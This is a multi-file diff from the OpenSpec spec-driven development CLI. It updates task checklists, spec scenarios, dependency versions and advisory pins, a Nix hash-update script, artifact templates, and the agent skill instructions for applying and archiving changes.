- [x] 2.4 Preserve full-scope validation work, totals, root, strictness, and exit status in findings mode, and verify ERROR-, WARNING-, INFO-only, no-item-finding, empty-scope, failure, active, archived, and selected-store cases
|
||||
|
||||
## 3. Baseline and compatibility gate
|
||||
|
||||
- [x] 3.1 Update from main before implementation and verify the full-result inventory is exactly `items`, `summary`, `version`, and `root`; explicitly map those fields without copying unknown top-level fields
|
||||
- [x] 3.2 Verify existing INFO-bearing full item records appear unchanged in `itemFindings`, and no advisory field is invented when the full report has none
|
||||
- [x] 3.3 Add human-byte and normalized-JSON compatibility tests proving omitted `--report` and explicit bulk `--report full` preserve current output for active, spec, archived, empty, and selected-store scopes while ignoring expected timing-field variation between runs
|
||||
- [x] 3.4 Add contract tests proving `report.version` is exactly the JSON string `"1.0"` and findings output does not conform to the documented full-v1 shape requiring top-level `version: "1.0"` and complete `items`; do not assert failure behavior for arbitrary undocumented parsers
|
||||
|
||||
## 4. Documentation and release tracking
|
||||
|
||||
- [x] 4.1 Document report-versus-serialization semantics, canonical/invalid scope combinations, independent within-stream human section ordering, the exact findings JSON and invalid-request JSON documents, item/advisory distinction, exit codes, and the unchanged full-v1 contract
|
||||
- [x] 4.2 Document external `jq` and PowerShell filtering as compatible alternatives for existing releases and explain that findings mode reduces emitted output but does not claim faster validation
|
||||
- [x] 4.3 Add the appropriate release changeset for the implemented feature and verify release tracking passes
|
||||
|
||||
## 5. Verification
|
||||
|
||||
- [x] 5.1 Run focused validate command, archived validation, completion, store-root, structured-error, and CLI end-to-end tests and verify all pass
|
||||
- [x] 5.2 Run build, full tests, TypeScript checks, lint, and `git diff --check`, and verify all repository checks pass
|
||||
- [x] 5.3 Run `openspec validate add-validation-findings-report --strict` and reconcile implementation and documentation against every scenario before marking the change complete
|
||||
- [x] 5.4 Measure the available repository archive (a replacement for the unavailable original 895-change corpus) against the implemented `itemFindings` envelope, verify default/full compatibility and complete item findings/totals/exit status, and report the new bytes separately from the 6,740-byte feasibility candidate without a runtime claim
|
||||
|
||||
## Verification results
|
||||
|
||||
- Build, TypeScript checks, lint, strict validation of this change, release tracking, and `git diff --check` pass.
|
||||
- Full suite: 148 files and 4,273 tests pass. The build completed before the run. Local verification used a temporary `USERPROFILE`, unset inherited `ZSH`/`ZSH_CUSTOM`, and allowed localhost HTTP fixtures; the original environment-sensitive failures reproduced on unchanged main.
|
||||
- The 83-change archive measurement retains all 12 failures, full totals, root, and exit 1 while reducing JSON output by 72.5%. See `design.md` for the measured bytes and corpus distinction.
|
||||
- Independent implementation review found no remaining blockers.
|
||||
- Documentation examples were checked against the built CLI. The Bash/jq alternatives were executed. PowerShell examples were source-reviewed only because `pwsh` is unavailable locally; rendered docs QA was unavailable because no browser was connected.
|
||||
@@ -32,10 +32,16 @@ The `AI_TOOLS` array SHALL include `skillsDir` for tools that support the Agent
|
||||
- **WHEN** looking up the `cursor` tool
|
||||
- **THEN** `skillsDir` SHALL be `.cursor`
|
||||
|
||||
#### Scenario: Windsurf paths defined
|
||||
#### Scenario: Devin Desktop paths defined
|
||||
|
||||
- **WHEN** looking up the `windsurf` tool
|
||||
- **THEN** `skillsDir` SHALL be `.windsurf`
|
||||
- **WHEN** looking up the `devin` tool
|
||||
- **THEN** `skillsDir` SHALL be `.devin`
|
||||
|
||||
#### Scenario: Legacy Windsurf tool ID
|
||||
|
||||
- **WHEN** initializing with `openspec init --tools windsurf`
|
||||
- **THEN** the `windsurf` alias SHALL resolve to `devin`
|
||||
- **AND** when skill delivery is enabled, skills SHALL be generated under `.devin/skills/`, not `.windsurf/skills/`
|
||||
|
||||
#### Scenario: Kimi Code paths defined
|
||||
|
||||
|
||||
@@ -208,8 +208,8 @@ The system SHALL support an `apply` block in schema definitions that controls wh
|
||||
#### Scenario: Schema without apply block
|
||||
|
||||
- **WHEN** a schema has no `apply` block
|
||||
- **THEN** the system requires all artifacts to exist before apply is available
|
||||
- **AND** uses default instruction: "All artifacts complete. Proceed with implementation."
|
||||
- **THEN** the system requires all non-skipped artifacts to exist before apply is available
|
||||
- **AND** once those artifacts exist, uses default instruction: "All required artifacts complete. Proceed with implementation."
|
||||
|
||||
### Requirement: Apply Instructions Command
|
||||
|
||||
@@ -275,23 +275,24 @@ The `artifact-experimental-setup` command SHALL accept a `--tool <tool-id>` flag
|
||||
|
||||
### Requirement: Output messaging
|
||||
|
||||
The setup command SHALL display clear output about what was generated.
|
||||
The `openspec init` command SHALL display clear output about what was generated.
|
||||
|
||||
#### Scenario: Show target tool in output
|
||||
|
||||
- **WHEN** setup command runs successfully
|
||||
- **THEN** output includes the target tool name (e.g., "Setting up for Cursor...")
|
||||
- **WHEN** initialization creates or refreshes a tool configuration
|
||||
- **THEN** output includes the tool name under `Created:` or `Refreshed:`, respectively
|
||||
|
||||
#### Scenario: Show generated paths
|
||||
|
||||
- **WHEN** setup command completes
|
||||
- **THEN** output lists all generated skill file paths
|
||||
- **AND** lists all generated command file paths (if applicable)
|
||||
- **WHEN** initialization generates skills or commands
|
||||
- **THEN** output summarizes their counts and destination directories
|
||||
- **AND** only reports the types enabled by the selected profile and delivery mode
|
||||
|
||||
#### Scenario: Show skipped commands message
|
||||
|
||||
- **WHEN** command generation is skipped due to missing adapter
|
||||
- **THEN** output includes message: "Command generation skipped - no adapter for <tool>"
|
||||
- **WHEN** initialization skips command generation due to a missing adapter
|
||||
- **THEN** output includes message: "Commands skipped for: <tools> (no adapter)"
|
||||
- **AND** `<tools>` lists the skipped tool IDs separated by commas
|
||||
|
||||
### Requirement: Status JSON provides planning context
|
||||
The status command SHALL provide machine-readable planning context for changes.
|
||||
|
||||
@@ -37,19 +37,29 @@ The system SHALL provide a `change` command with subcommands for displaying, lis
|
||||
|
||||
### Requirement: Legacy Compatibility
|
||||
|
||||
The system SHALL maintain backward compatibility with the existing `list` command while showing deprecation notices.
|
||||
The system SHALL retain `openspec change list` as a deprecated alias for listing active changes and direct users to `openspec list`.
|
||||
|
||||
#### Scenario: Legacy list command
|
||||
|
||||
- **WHEN** executing `openspec change list`
|
||||
- **THEN** display the current list of active changes on stdout
|
||||
- **AND** write `Warning: "openspec change list" is deprecated. Use "openspec list".` to stderr
|
||||
|
||||
#### Scenario: Legacy list with JSON output
|
||||
|
||||
- **WHEN** executing `openspec change list --json`
|
||||
- **THEN** output the active changes as a JSON array on stdout
|
||||
- **AND** write the deprecation warning to stderr without corrupting the JSON output
|
||||
|
||||
#### Scenario: Unsupported legacy list flag
|
||||
|
||||
- **WHEN** executing `openspec change list --all`
|
||||
- **THEN** reject the unknown option with a nonzero exit code
|
||||
|
||||
#### Scenario: Preferred list command
|
||||
|
||||
- **WHEN** executing `openspec list`
|
||||
- **THEN** display current list of changes (existing behavior)
|
||||
- **AND** show deprecation notice: "Note: 'openspec list' is deprecated. Use 'openspec change list' instead."
|
||||
|
||||
#### Scenario: Legacy list with --all flag
|
||||
|
||||
- **WHEN** executing `openspec list --all`
|
||||
- **THEN** display all changes (existing behavior)
|
||||
- **AND** show same deprecation notice
|
||||
- **THEN** display the current list of active changes without a deprecation warning
|
||||
|
||||
### Requirement: Interactive show selection
|
||||
|
||||
|
||||
@@ -82,6 +82,52 @@ The skill SHALL prompt to sync delta specs before archiving if specs exist.
|
||||
- **AND** stop without archiving if the sync fails or any capability does not verify
|
||||
- **AND** archive only after verification passes, or when the user explicitly chose to archive without syncing or to archive already-synced specs
|
||||
|
||||
#### Scenario: Applicable ADDED delta whose main spec does not exist yet
|
||||
|
||||
- **WHEN** agent compares a delta spec against its main spec at `openspec/specs/<capability-path>/spec.md`
|
||||
- **AND** that main spec does not exist yet
|
||||
- **AND** the delta has `## ADDED Requirements`
|
||||
- **AND** the delta has no `## MODIFIED Requirements` or `## RENAMED Requirements`
|
||||
- **THEN** count that capability as needing sync rather than as already synced
|
||||
- **AND** name it in the summary as a main spec the sync will create
|
||||
- **AND** never treat the missing main spec as nothing to apply
|
||||
- **AND** if the delta also has `## REMOVED Requirements`, warn that they will be ignored because there is no main spec to remove them from
|
||||
- **AND** create the main spec from only the delta's `## ADDED Requirements`
|
||||
|
||||
#### Scenario: Unsupported delta operation whose main spec does not exist yet
|
||||
|
||||
- **WHEN** a delta targets a capability whose main spec does not exist yet
|
||||
- **AND** the delta has `## MODIFIED Requirements` or `## RENAMED Requirements`
|
||||
- **THEN** report that only ADDED requirements can create a new main spec
|
||||
- **AND** mark the capability as sync-blocked without writing a main spec
|
||||
|
||||
#### Scenario: Explicitly retired capability whose main spec is missing
|
||||
|
||||
- **WHEN** a delta contains only `## REMOVED Requirements` and its main spec is missing
|
||||
- **AND** the change's `.openspec.yaml` declares `retire_capabilities: true`
|
||||
- **THEN** count that capability as already synced and report that it is already retired
|
||||
- **AND** warn that there is nothing left to remove and do not recreate the main spec
|
||||
- **AND** apply the same rule when verifying a completed sync, so retiring a capability does not block archiving
|
||||
|
||||
#### Scenario: Nothing to put in a missing main spec without a declared retirement
|
||||
|
||||
- **WHEN** a delta targets a capability whose main spec does not exist yet
|
||||
- **AND** the delta has no `## ADDED Requirements`
|
||||
- **AND** it is not a REMOVED-only delta with `retire_capabilities: true`
|
||||
- **THEN** report that no sync is possible
|
||||
- **AND** if the delta has only `## REMOVED Requirements`, warn that there is no main spec to remove them from and leave the main-spec tree unchanged
|
||||
- **AND** mark the capability as sync-blocked, since the verification pass would re-read the same missing spec
|
||||
|
||||
#### Scenario: Sync-blocked capability during archive assessment
|
||||
|
||||
- **WHEN** any capability is sync-blocked during the initial assessment
|
||||
- **THEN** assess the remaining capabilities and summarize the blockers before prompting
|
||||
- **AND** offer only "Archive without syncing" and "Cancel"
|
||||
- **AND** archive without writing main specs only if the user explicitly chooses "Archive without syncing"
|
||||
- **AND** stop without archiving if the user cancels
|
||||
- **AND** do not start any sync while a capability is blocked, even if other capabilities could sync
|
||||
- **AND** a failed sync or post-sync verification still stops without archiving; do not silently fall back to skipping sync
|
||||
|
||||
#### Scenario: No delta specs
|
||||
|
||||
- **WHEN** agent checks for delta specs
|
||||
|
||||
@@ -71,10 +71,27 @@ The agent SHALL reconcile main specs with delta specs using the delta operation
|
||||
|
||||
#### Scenario: New capability spec
|
||||
- **WHEN** delta spec exists for a capability not in main specs
|
||||
- **AND** it has ADDED requirements and no MODIFIED or RENAMED requirements
|
||||
- **THEN** create new main spec file at `openspec/specs/<capability-path>/spec.md`, preserving the delta's path relative to `specs/`
|
||||
- **AND** copy the delta's `## Purpose` body into it when the delta has one, matching what `openspec archive` does
|
||||
- **AND** write a brief TBD placeholder Purpose only when the delta has none
|
||||
|
||||
#### Scenario: MODIFIED or RENAMED against a capability with no main spec
|
||||
- **WHEN** delta contains `## MODIFIED Requirements` or `## RENAMED Requirements`
|
||||
- **AND** the capability has no main spec yet
|
||||
- **THEN** stop the sync for that capability and report that only ADDED requirements are allowed for a new spec, matching what `openspec archive` does
|
||||
- **AND** never invent the missing requirement
|
||||
- **AND** skip any `## REMOVED Requirements` with a warning, since there is nothing to remove
|
||||
|
||||
#### Scenario: Nothing to put in a new spec
|
||||
- **WHEN** a delta targets a capability with no main spec
|
||||
- **AND** the delta has no `## ADDED Requirements` to seed it with
|
||||
- **THEN** create no main spec and leave the specs directory untouched
|
||||
- **AND** for a REMOVED-only delta with `retire_capabilities: true` in the change's `.openspec.yaml`, report the capability as already retired and continue without recreating it
|
||||
- **AND** without that marker, report a REMOVED-only sync as blocked, matching `openspec archive`, which aborts with `Spec must have at least one requirement`
|
||||
- **AND** report an empty delta as blocked because it has no operations to sync
|
||||
- **AND** never write an empty `## Requirements` section
|
||||
|
||||
#### Scenario: Merged main spec keeps canonical structure
|
||||
- **WHEN** the agent writes a main spec during sync
|
||||
- **THEN** every requirement lives under a single `## Requirements` section
|
||||
|
||||
+8
-20
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@fission-ai/openspec",
|
||||
"version": "1.11.0",
|
||||
"version": "1.13.1",
|
||||
"description": "AI-native system for spec-driven development",
|
||||
"keywords": [
|
||||
"openspec",
|
||||
@@ -17,7 +17,7 @@
|
||||
"license": "MIT",
|
||||
"author": "OpenSpec Contributors",
|
||||
"type": "module",
|
||||
"packageManager": "pnpm@9.15.9",
|
||||
"packageManager": "pnpm@10.34.5",
|
||||
"publishConfig": {
|
||||
"access": "public"
|
||||
},
|
||||
@@ -49,7 +49,7 @@
|
||||
"test:watch": "vitest",
|
||||
"test:ui": "vitest --ui",
|
||||
"test:coverage": "vitest --coverage",
|
||||
"prepare": "pnpm run build",
|
||||
"prepare": "node build.js",
|
||||
"prepublishOnly": "pnpm run build",
|
||||
"check:pack-version": "node scripts/pack-version-check.mjs",
|
||||
"release": "pnpm run release:ci",
|
||||
@@ -60,38 +60,26 @@
|
||||
"node": ">=20.19.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@changesets/changelog-github": "^0.7.0",
|
||||
"@changesets/cli": "^2.31.1",
|
||||
"@changesets/changelog-github": "^1.0.0",
|
||||
"@changesets/cli": "^3.0.1",
|
||||
"@types/node": "^20.19.43",
|
||||
"@vitest/ui": "^3.2.6",
|
||||
"@vitest/ui": "^4.1.11",
|
||||
"eslint": "^10.5.0",
|
||||
"smol-toml": "^1.7.1",
|
||||
"typescript": "^6.0.3",
|
||||
"typescript-eslint": "^8.65.0",
|
||||
"vitest": "^3.2.6"
|
||||
"vitest": "^4.1.11"
|
||||
},
|
||||
"dependencies": {
|
||||
"@inquirer/core": "^11.2.1",
|
||||
"@inquirer/prompts": "^8.5.2",
|
||||
"chalk": "^5.6.2",
|
||||
"commander": "^14.0.0",
|
||||
"diff": "^9.0.0",
|
||||
"cross-spawn": "7.0.6",
|
||||
"diff": "^9.0.0",
|
||||
"fast-glob": "^3.3.3",
|
||||
"ora": "^9.4.1",
|
||||
"yaml": "^2.8.3",
|
||||
"zod": "^4.4.3"
|
||||
},
|
||||
"pnpm": {
|
||||
"onlyBuiltDependencies": [
|
||||
"esbuild"
|
||||
],
|
||||
"overrides": {
|
||||
"brace-expansion@<=5.0.8": ">=5.0.9 <6",
|
||||
"postcss@<8.5.23": ">=8.5.23 <9",
|
||||
"js-yaml@>=3.0.0 <3.15.1": ">=3.15.1 <4",
|
||||
"js-yaml@>=4.0.0 <4.3.1": ">=4.3.1 <5",
|
||||
"nanoid@<3.3.17": ">=3.3.17 <4"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Generated
+834
-1183
File diff suppressed because it is too large
Load Diff
+10
-1
@@ -2,8 +2,13 @@ packages:
|
||||
- '.'
|
||||
|
||||
allowBuilds:
|
||||
esbuild@0.28.1: true
|
||||
esbuild@0.28.2: true
|
||||
|
||||
# The only declaration of these. A `pnpm.overrides` block in package.json does not
|
||||
# merge with this list — pnpm 10 uses it *instead of* this file (verified: a lone
|
||||
# entry there produced a lockfile with only that override). Dependabot rewrites
|
||||
# plain-name entries in package.json when it bumps the same package, so a mirrored
|
||||
# copy there both drifts and silently takes precedence over these advisory pins.
|
||||
overrides:
|
||||
brace-expansion@<=5.0.8: '>=5.0.9 <6'
|
||||
postcss@<8.5.23: '>=8.5.23 <9'
|
||||
@@ -17,3 +22,7 @@ overrides:
|
||||
# (transitive via postcss). Remove once transitive nanoid is >=3.3.17
|
||||
# (check: pnpm why nanoid).
|
||||
nanoid@<3.3.17: '>=3.3.17 <4'
|
||||
# GHSA-px8p-9vwx-vf98 — fflate `unzipSync` infinite loop on malformed ZIP64.
|
||||
# Dev-only (transitive via @vitest/ui); never in the published CLI. Remove once
|
||||
# transitive fflate is >=0.8.3 (check: pnpm why fflate).
|
||||
fflate@<0.8.3: '>=0.8.3 <0.9'
|
||||
|
||||
@@ -18,7 +18,19 @@ artifacts:
|
||||
- **Impact**: Affected code, APIs, dependencies, or systems.
|
||||
|
||||
IMPORTANT: The Capabilities section is critical. It creates the contract between
|
||||
proposal and specs phases. Research existing specs before filling this in.
|
||||
proposal and specs phases. Research existing specs before filling this in:
|
||||
run `openspec list --specs` for the project's capability inventory, then
|
||||
`openspec show "<spec-id>" --type spec --json --no-scenarios` for any that
|
||||
look related - that returns a capability's purpose and requirement texts
|
||||
without pulling whole spec files into context. Append `--store "<id>"` to
|
||||
both commands only for a registered standalone store, and keep `--type
|
||||
spec`: a change and a spec sharing a name is otherwise an ambiguous-item
|
||||
error. `openspec list` without `--specs` lists in-flight changes, not
|
||||
specs - it never shows what the project already covers. Reuse an existing
|
||||
capability's exact path instead of introducing a near-duplicate name.
|
||||
The filtered read is only an overview. Before deciding what is already
|
||||
covered or what should change, read each relevant spec in full, including
|
||||
scenarios, with `openspec show "<spec-id>" --type spec` (same `--store` rule).
|
||||
Each capability listed here will need a corresponding spec file.
|
||||
|
||||
Every change must either declare at least one capability (new or
|
||||
@@ -63,7 +75,7 @@ artifacts:
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example,
|
||||
`user-auth` or `identity/user-auth`). Preserve the full path:
|
||||
- New capabilities: use the exact path from the proposal at `specs/<capability-path>/spec.md`. Any path segment newly introduced in the proposal must be kebab-case. Follow the project's existing organization; do not add a new domain level when the project uses a flat layout.
|
||||
- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Do not move or rename the capability.
|
||||
- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Run `openspec list --specs` to confirm that path before writing the delta, appending `--store "<id>"` only for a registered standalone store - a mistyped or invented path targets a capability that does not exist rather than the one you meant. Do not move or rename the capability.
|
||||
|
||||
There must be at least one spec file unless the change's `.openspec.yaml`
|
||||
sets `skip_specs: true` (no spec-level behavior change) - `openspec validate`
|
||||
@@ -83,7 +95,7 @@ artifacts:
|
||||
- **CRITICAL**: Scenarios MUST use exactly 4 hashtags (`####`). Using 3 hashtags or bullets will fail silently.
|
||||
- Every requirement MUST have at least one scenario.
|
||||
|
||||
New capabilities only: start the delta spec with a `## Purpose` section -
|
||||
New capabilities only: the delta spec's first section is `## Purpose` -
|
||||
one or two sentences (50+ characters, or `openspec validate --strict`
|
||||
reports it as too brief) describing what the capability is for. Archive
|
||||
copies it into the main spec it creates; without it the new main spec is
|
||||
@@ -108,8 +120,10 @@ artifacts:
|
||||
Common pitfall: Using MODIFIED with partial content loses detail at archive time.
|
||||
If adding new concerns without changing existing behavior, use ADDED instead.
|
||||
|
||||
Example (a new capability, so it opens with `## Purpose`):
|
||||
Example (a new capability, so its first section is `## Purpose`):
|
||||
```
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
|
||||
Lets users take their data out of the product in a portable format.
|
||||
@@ -181,7 +195,10 @@ artifacts:
|
||||
bake an unstated assumption into the task list.
|
||||
|
||||
**IMPORTANT: Follow the template below exactly.** The apply phase parses
|
||||
checkbox format to track progress. Tasks not using `- [ ]` won't be tracked.
|
||||
checkbox format to track progress. A box holding only `x` counts as done,
|
||||
upper or lower case and with any spacing, so `- [ x]` is done too. Every
|
||||
other marker, including `- [~]`, `- [-]` and an empty `- []`, reads as
|
||||
unfinished. A line with no checkbox is not tracked at all.
|
||||
|
||||
Guidelines:
|
||||
- Group related tasks under ## numbered headings
|
||||
@@ -196,6 +213,8 @@ artifacts:
|
||||
|
||||
Example:
|
||||
```
|
||||
# Tasks
|
||||
|
||||
## 1. Setup
|
||||
|
||||
- [ ] 1.1 Create new module structure and verify expected files are present
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Design
|
||||
|
||||
## Context
|
||||
|
||||
<!-- Current state and constraints that shape the approach. See proposal.md for motivation - don't restate it -->
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
<!-- Explain the motivation for this change. What problem does this solve? Why now? -->
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
<!-- New capabilities only: one or two sentences (50+ characters) on what this capability is for. Delete this section for an existing capability. -->
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# Tasks
|
||||
|
||||
## 1. <!-- Task Group Name -->
|
||||
|
||||
- [ ] 1.1 <!-- Task description -->
|
||||
|
||||
+20
-6
@@ -10,6 +10,14 @@ PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
FLAKE_FILE="$PROJECT_ROOT/flake.nix"
|
||||
PACKAGE_JSON="$PROJECT_ROOT/package.json"
|
||||
|
||||
# Every hash read and every hash rewrite below is confined to this sed address
|
||||
# range. flake.nix holds one fixed-output derivation today, so an unscoped
|
||||
# `hash = "sha256-..."` happens to hit the right line; the moment a second FOD
|
||||
# is added, an unscoped script would stamp the placeholder over both, extract
|
||||
# whichever mismatch Nix reported first, and write pnpmDeps' hash into the
|
||||
# other derivation. Scoping is what keeps that from being a silent corruption.
|
||||
PNPM_DEPS_BLOCK='/pnpmDeps = /,/};/'
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
@@ -49,15 +57,21 @@ fi
|
||||
echo -e "${BLUE}🔧 Current pnpm-lock.yaml:${NC} $(stat -c%y "$PROJECT_ROOT/pnpm-lock.yaml" 2>/dev/null || stat -f%Sm "$PROJECT_ROOT/pnpm-lock.yaml")"
|
||||
echo ""
|
||||
|
||||
# Get current hash from flake.nix
|
||||
CURRENT_HASH=$(sed -nE 's/.*hash = "(sha256-[^"]+)".*/\1/p' "$FLAKE_FILE" | head -1)
|
||||
# Get current pnpmDeps hash from flake.nix
|
||||
CURRENT_HASH=$(sed -nE "$PNPM_DEPS_BLOCK"' s/.*hash = "(sha256-[^"]+)".*/\1/p' "$FLAKE_FILE" | head -1)
|
||||
if [ -z "$CURRENT_HASH" ]; then
|
||||
echo -e "${RED}❌ Error: no pnpmDeps hash found in flake.nix${NC}"
|
||||
echo -e " Looked for 'hash = \"sha256-...\"' inside the 'pnpmDeps = ... };' block."
|
||||
echo -e " Nothing was modified."
|
||||
exit 1
|
||||
fi
|
||||
echo -e "${BLUE}📌 Current hash:${NC} $CURRENT_HASH"
|
||||
echo ""
|
||||
|
||||
# Set placeholder hash to trigger error
|
||||
echo -e "${YELLOW}⏳ Setting placeholder hash to calculate correct value...${NC}"
|
||||
PLACEHOLDER="sha256-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
|
||||
sed "${SED_INPLACE[@]}" "s|hash = \"sha256-[^\"]*\"|hash = \"$PLACEHOLDER\"|" "$FLAKE_FILE"
|
||||
sed "${SED_INPLACE[@]}" "$PNPM_DEPS_BLOCK s|hash = \"sha256-[^\"]*\"|hash = \"$PLACEHOLDER\"|" "$FLAKE_FILE"
|
||||
|
||||
# Try to build and capture the correct hash
|
||||
echo -e "${BLUE}🔨 Building to determine correct hash (expected to fail)...${NC}"
|
||||
@@ -77,7 +91,7 @@ if [ -z "$CORRECT_HASH" ]; then
|
||||
echo "$BUILD_OUTPUT"
|
||||
echo ""
|
||||
echo -e "${YELLOW}Restoring original hash...${NC}"
|
||||
sed "${SED_INPLACE[@]}" "s|hash = \"$PLACEHOLDER\"|hash = \"$CURRENT_HASH\"|" "$FLAKE_FILE"
|
||||
sed "${SED_INPLACE[@]}" "$PNPM_DEPS_BLOCK s|hash = \"$PLACEHOLDER\"|hash = \"$CURRENT_HASH\"|" "$FLAKE_FILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
@@ -87,14 +101,14 @@ echo ""
|
||||
# Check if hash changed
|
||||
if [ "$CURRENT_HASH" = "$CORRECT_HASH" ]; then
|
||||
echo -e "${GREEN}✓ Hash is already up-to-date!${NC}"
|
||||
sed "${SED_INPLACE[@]}" "s|hash = \"$PLACEHOLDER\"|hash = \"$CORRECT_HASH\"|" "$FLAKE_FILE"
|
||||
sed "${SED_INPLACE[@]}" "$PNPM_DEPS_BLOCK s|hash = \"$PLACEHOLDER\"|hash = \"$CORRECT_HASH\"|" "$FLAKE_FILE"
|
||||
echo ""
|
||||
echo -e "${BLUE}ℹ️ No changes needed. Your flake is in sync with pnpm-lock.yaml${NC}"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo -e "${YELLOW}🔄 Updating hash in flake.nix...${NC}"
|
||||
sed "${SED_INPLACE[@]}" "s|hash = \"$PLACEHOLDER\"|hash = \"$CORRECT_HASH\"|" "$FLAKE_FILE"
|
||||
sed "${SED_INPLACE[@]}" "$PNPM_DEPS_BLOCK s|hash = \"$PLACEHOLDER\"|hash = \"$CORRECT_HASH\"|" "$FLAKE_FILE"
|
||||
|
||||
# Verify the build works
|
||||
echo -e "${BLUE}🔍 Verifying build with new hash...${NC}"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-apply-change
|
||||
description: Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks.
|
||||
description: Implement tasks from an OpenSpec change. Use when the user wants to start implementing, continue implementation, or work through tasks. Also use when the user says "openspec apply", "opsx apply", or "openspec implement".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Implement tasks from an OpenSpec change.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name (e.g., `/openspec-apply-change add-auth`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
**Steps**
|
||||
@@ -48,9 +59,12 @@ Implement tasks from an OpenSpec change.
|
||||
- Dynamic instruction based on current state
|
||||
- Optional `context`: current required project instruction input from the selected root
|
||||
- Optional `operationGuidance`: current advisory guidance for apply
|
||||
- `missingArtifacts` (when present): required artifact ids with no output
|
||||
|
||||
**Handle states:**
|
||||
- If `state: "blocked"` (missing artifacts): show message, suggest using `/openspec-continue-change` (if it is not installed, run `openspec status --change "<name>" --json` to see the next artifact and `openspec instructions <artifact-id> --change "<name>" --json` for how to create it)
|
||||
- If `state: "blocked"`: show the message and pause implementation.
|
||||
- If `missingArtifacts` is non-empty: suggest using `/openspec-continue-change` to create them.
|
||||
- Otherwise, follow the CLI instruction to create or repair the schema-configured tracking file from existing planning artifacts. Do not assume another artifact is ready or start implementation while blocked.
|
||||
- If `state: "all_done"`: congratulate, suggest archive
|
||||
- Otherwise: proceed to implementation
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-archive-change
|
||||
description: Archive a completed change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete.
|
||||
description: Archive a completed OpenSpec change in the experimental workflow. Use when the user wants to finalize and archive a change after implementation is complete. Also use when the user says "openspec archive" or "opsx archive".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
